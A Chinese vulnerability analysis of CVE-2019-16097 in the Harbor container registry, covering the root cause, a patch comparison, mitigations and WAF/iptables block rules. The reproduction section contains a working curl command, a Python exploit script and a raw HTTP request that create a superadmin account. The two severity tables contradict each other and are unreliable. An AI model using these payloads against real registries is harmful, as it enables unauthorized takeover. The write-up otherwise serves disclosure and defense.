一、漏洞简介¶
1.1 漏洞背景¶
Harbor 是由 VMware 公司开源的企业级容器镜像仓库,作为 CNCF(Cloud Native Computing Foundation)孵化项目,被众多企业广泛使用。Harbor 提供镜像存储、签名、漏洞扫描等功能,与 Docker Hub、Google Container Registry 等主流镜像仓库集成。
2019年9月,Palo Alto Networks 的 Unit 42 安全研究团队发现了一个严重的权限提升漏洞。攻击者无需任何身份认证即可创建具有超级管理员权限的账户,从而完全控制 Harbor 镜像仓库。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2019-16097 |
| 危害等级 | MEDIUM / 6.5 |
| 漏洞类型 | 权限绕过漏洞(超级管理员提权) |
| 披露时间 | 2019-09-08 |
| 影响组件 | Harbor 容器镜像仓库 |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2019-16097 |
| 危害等级 | 严重(Critical) |
| CVSS评分 | 9.8(Critical) |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 漏洞类型 | CWE-862:缺少授权检查(Missing Authorization) |
| 发现者 | Aviv Sasson (Palo Alto Networks Unit 42) |
| 公开日期 | 2019年9月10日 |
补充核验信息:公开时间:2019-09-08;NVD 评分:6.5(MEDIUM);CWE:CWE-862。
二、影响范围¶
2.1 受影响的版本¶
- Harbor 1.7.0 ~ 1.7.5
- Harbor 1.8.0 ~ 1.8.2
2.2 不受影响的版本¶
- Harbor < 1.7.0
- Harbor >= 1.7.6
- Harbor >= 1.8.3
- Harbor >= 1.9.0
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 认证模式:Harbor 配置为使用本地数据库认证(
db_auth),而非 LDAP 或 OIDC - 自注册功能:启用了用户自注册功能(Self-Registration = true)
- 网络可达:攻击者能够访问 Harbor 的 API 接口(
/api/users) - 无需认证:攻击者无需任何有效凭据即可利用此漏洞
<hr />⚠️ 注意:根据 Unit 42 的研究,全球约有 2,500 个 Harbor 实例暴露在公网,其中 1,300 个存在此漏洞。
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
漏洞存在于 Harbor 的用户注册 API(POST /api/users)中。当用户通过此 API 注册新账户时,服务端直接将请求体中的 JSON 数据反序列化为 User 对象,而未对关键字段进行权限校验。
攻击流程:
- 攻击者构造恶意 POST 请求,在 JSON body 中添加
"has_admin_role": true字段 - 服务端接收请求后,直接将 JSON 反序列化为
models.User结构体 - 由于缺少权限校验,
HasAdminRole字段被设置为true - 新创建的用户拥有超级管理员权限
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码(v1.8.2 版本)¶
文件位置:src/core/api/user.go
// Post 方法处理 POST /api/users 请求
func (ua *UserAPI) Post() {
// 检查认证模式必须是 db_auth
if !(ua.AuthMode == common.DBAuth) {
ua.SendForbiddenError(errors.New(""))
return
}
// 检查是否允许自注册或当前用户是管理员
if !(ua.SelfRegistration || ua.IsAdmin) {
log.Warning("Registration can only be used by admin role user when self-registration is off.")
ua.SendForbiddenError(errors.New(""))
return
}
// 【漏洞点】直接将请求体反序列化为 User 对象
user := models.User{}
if err := ua.DecodeJSONReq(&user); err != nil {
ua.SendBadRequestError(err)
return
}
// 验证用户输入格式
err := validate(user)
if err != nil {
log.Warningf("Bad request in Register: %v", err)
ua.RenderError(http.StatusBadRequest, "register error:"+err.Error())
return
}
// 检查用户名是否已存在
userExist, err := dao.UserExists(user, "username")
if err != nil {
log.Errorf("Error occurred in Register: %v", err)
ua.SendInternalServerError(errors.New("internal error"))
return
}
if userExist {
log.Warning("username has already been used!")
ua.SendConflictError(errors.New("username has already been used"))
return
}
// 检查邮箱是否已存在
emailExist, err := dao.UserExists(user, "email")
if err != nil {
log.Errorf("Error occurred in change user profile: %v", err)
ua.SendInternalServerError(errors.New("internal error"))
return
}
if emailExist {
log.Warning("email has already been used!")
ua.SendConflictError(errors.New("email has already been used"))
return
}
// 【漏洞点】直接注册用户,未检查 HasAdminRole 字段
userID, err := dao.Register(user)
if err != nil {
log.Errorf("Error occurred in Register: %v", err)
ua.SendInternalServerError(errors.New("internal error"))
return
}
ua.Redirect(http.StatusCreated, strconv.FormatInt(userID, 10))
}
User 结构体定义¶
文件位置:src/common/models/user.go
type User struct {
UserID int `json:"user_id"`
Username string `json:"username"`
Email string `json:"email"`
Password string `json:"password"`
Realname string `json:"realname"`
Comment string `json:"comment"`
// 【关键字段】攻击者可控
HasAdminRole bool `json:"has_admin_role"`
ResetUUID string `json:"reset_uuid"`
Salt string `json:"salt"`
UUID string `json:"uuid"`
CreationTime time.Time `json:"creation_time"`
UpdateTime time.Time `json:"update_time"`
}
漏洞根因¶
问题代码(第317行):
if err := ua.DecodeJSONReq(&user); err != nil
这行代码直接将 HTTP 请求体中的 JSON 反序列化到 user 结构体。由于 Go 的 JSON 反序列化机制,攻击者可以通过在请求中包含 "has_admin_role": true 来覆盖该字段的默认值(false)。
缺失的安全检查:
- 未验证请求者是否有权限设置 HasAdminRole 字段
- 未在注册逻辑中强制将 HasAdminRole 重置为 false
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker Compose 部署受影响版本¶
# 下载 Harbor v1.8.2(受影响版本)
wget https://github.com/goharbor/harbor/releases/download/v1.8.2/harbor-online-installer-v1.8.2.tgz
tar xzf harbor-online-installer-v1.8.2.tgz
cd harbor
# 修改 harbor.yml 配置
# hostname: your-harbor-domain.com
# harbor_admin_password: Harbor12345
# 安装
./install.sh
确认配置¶
确保 harbor.yml 中启用了自注册:
# 认证模式
auth_mode: db_auth
# 自注册(默认启用)
self_registration: on
4.2 PoC 演示与测试过程¶
方法一:使用 curl 命令¶
# 目标 Harbor 地址
TARGET="http://your-harbor-server"
# 发送恶意请求创建管理员账户
curl -X POST "${TARGET}/api/users" \
-H "Content-Type: application/json" \
-d '{
"username": "hacker_admin",
"email": "hacker@evil.com",
"realname": "Hacker",
"password": "Hacker123!",
"comment": "Malicious admin account",
"has_admin_role": true
}'
# 预期响应:HTTP 201 Created
# 实际效果:成功创建具有管理员权限的账户
方法二:使用 Python 脚本¶
#!/usr/bin/env python3
"""
CVE-2019-16097 - Harbor 权限提升漏洞 PoC
用途:仅限安全研究和授权测试
"""
import requests
import sys
import json
def exploit_harbor(target_url, username, password, email):
"""
利用 CVE-2019-16097 创建管理员账户
"""
# 恶意载荷:设置 has_admin_role 为 true
payload = {
"username": username,
"email": email,
"realname": "Security Test",
"password": password,
"comment": "CVE-2019-16097 PoC Test",
"has_admin_role": True # 关键:绕过权限检查
}
headers = {
"Content-Type": "application/json"
}
# 发送恶意请求
url = f"{target_url.rstrip('/')}/api/users"
try:
response = requests.post(
url,
data=json.dumps(payload),
headers=headers,
timeout=10
)
print(f"[*] Target: {target_url}")
print(f"[*] Payload: {json.dumps(payload, indent=2)}")
print(f"[*] Response Status: {response.status_code}")
print(f"[*] Response Headers: {dict(response.headers)}")
if response.status_code == 201:
print("\n[+] SUCCESS! Admin user created!")
print(f"[+] Username: {username}")
print(f"[+] Password: {password}")
print(f"[+] Email: {email}")
print(f"[+] Admin Role: YES")
# 验证账户是否创建成功
print("\n[*] Verifying login...")
login_url = f"{target_url.rstrip('/')}/api/users/current"
auth_response = requests.get(
login_url,
auth=(username, password),
timeout=10
)
if auth_response.status_code == 200:
user_info = auth_response.json()
print(f"[+] Verification successful!")
print(f"[+] User ID: {user_info.get('user_id')}")
print(f"[+] Has Admin Role: {user_info.get('has_admin_role')}")
else:
print(f"\n[-] Exploitation failed!")
print(f"[-] Response: {response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <email>")
print(f"Example: {sys.argv[0]} http://192.168.1.100 hacker Admin123! hacker@test.com")
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
mail = sys.argv[4]
print("=" * 60)
print("CVE-2019-16097 - Harbor Privilege Escalation Exploit")
print("=" * 60)
exploit_harbor(target, user, pwd, mail)
方法三:使用 Burp Suite¶
HTTP 请求:
POST /api/users HTTP/1.1
Host: your-harbor-server
Content-Type: application/json
Content-Length: 178
{
"username": "pwned_admin",
"email": "pwned@attacker.com",
"realname": "Pwned",
"password": "Pwned123!",
"comment": "Owned via CVE-2019-16097",
"has_admin_role": true
}
验证漏洞利用成功¶
# 使用创建的账户登录
curl -u "hacker_admin:Hacker123!" \
"http://your-harbor-server/api/users/current"
# 响应应包含 "has_admin_role": true
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到以下任一版本:
| 修复版本 | 发布日期 |
|---|---|
| v1.7.6 | 2019年9月18日 |
| v1.8.3 | 2019年9月18日 |
| v1.9.0+ | 2019年9月 |
升级步骤:
# 备份数据
docker-compose down
cp -r /data/harbor /data/harbor-backup
# 下载新版本
wget https://github.com/goharbor/harbor/releases/download/v1.8.3/harbor-online-installer-v1.8.3.tgz
tar xzf harbor-online-installer-v1.8.3.tgz
# 迁移配置
# 复制旧的 harbor.yml 到新目录
# 执行升级
./install.sh
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
如果暂时无法升级,可采取以下缓解措施:
方案一:禁用自注册¶
修改 harbor.yml:
self_registration: off
然后重启服务:
docker-compose down
docker-compose up -d
方案二:切换到 LDAP 认证¶
修改 harbor.yml:
auth_mode: ldap_auth
# LDAP 配置
ldap_url: ldap://your-ldap-server
ldap_search_dn: cn=admin,dc=example,dc=com
ldap_search_password: password
ldap_base_dn: ou=users,dc=example,dc=com
ldap_filter: (objectClass=person)
ldap_uid: uid
ldap_scope: 2
方案三:网络层访问控制¶
使用防火墙限制 Harbor API 访问:
# 仅允许内网访问 /api/users 接口
iptables -A INPUT -p tcp --dport 80 -m string \
--string "POST /api/users" --algo bm \
-s ! 10.0.0.0/8 -j DROP
方案四:WAF 规则¶
添加 ModSecurity 规则拦截包含 has_admin_role 的注册请求:
SecRule REQUEST_URI "@streq /api/users" \
"id:1001,phase:2,t:none,deny,status:403,msg:'CVE-2019-16097 Block'"
SecRule REQUEST_BODY "@contains has_admin_role" \
"id:1002,phase:2,t:none,deny,status:403,msg:'CVE-2019-16097 Block'"
5.3 修复后的代码分析¶
修复版本(v1.8.3+)中的 Post 方法:
func (ua *UserAPI) Post() {
if !(ua.AuthMode == common.DBAuth) {
ua.SendForbiddenError(errors.New(""))
return
}
if !(ua.SelfRegistration || ua.IsAdmin) {
log.Warning("Registration can only be used by admin role user when self-registration is off.")
ua.SendForbiddenError(errors.New(""))
return
}
user := models.User{}
if err := ua.DecodeJSONReq(&user); err != nil {
ua.SendBadRequestError(err)
return
}
err := validate(user)
if err != nil {
log.Warningf("Bad request in Register: %v", err)
ua.RenderError(http.StatusBadRequest, "register error:"+err.Error())
return
}
// 【修复点】新增:检查非管理员用户是否尝试创建管理员账户
if !ua.IsAdmin && user.HasAdminRole {
msg := "Non-admin cannot create an admin user."
log.Errorf(msg)
ua.SendForbiddenError(errors.New(msg))
return
}
// ... 后续逻辑
}
关键修复逻辑:
// 新增的安全检查
if !ua.IsAdmin && user.HasAdminRole {
msg := "Non-admin cannot create an admin user."
log.Errorf(msg)
ua.SendForbiddenError(errors.New(msg))
return
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- VMware Security Advisory: VMSA-2019-0015
- GitHub Pull Request: PR #8917 - Disallow creating an admin user when registration
- Harbor Release v1.7.6: https://github.com/goharbor/harbor/releases/tag/v1.7.6
- Harbor Release v1.8.3: https://github.com/goharbor/harbor/releases/tag/v1.8.3
6.2 其他技术参考资料¶
- Unit 42 Blog: Critical Vulnerability in Harbor Enables Privilege Escalation from Zero to Admin
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2019-16097
- CWE-862 Definition: https://cwe.mitre.org/data/definitions/862.html
- GitHub Commit: https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517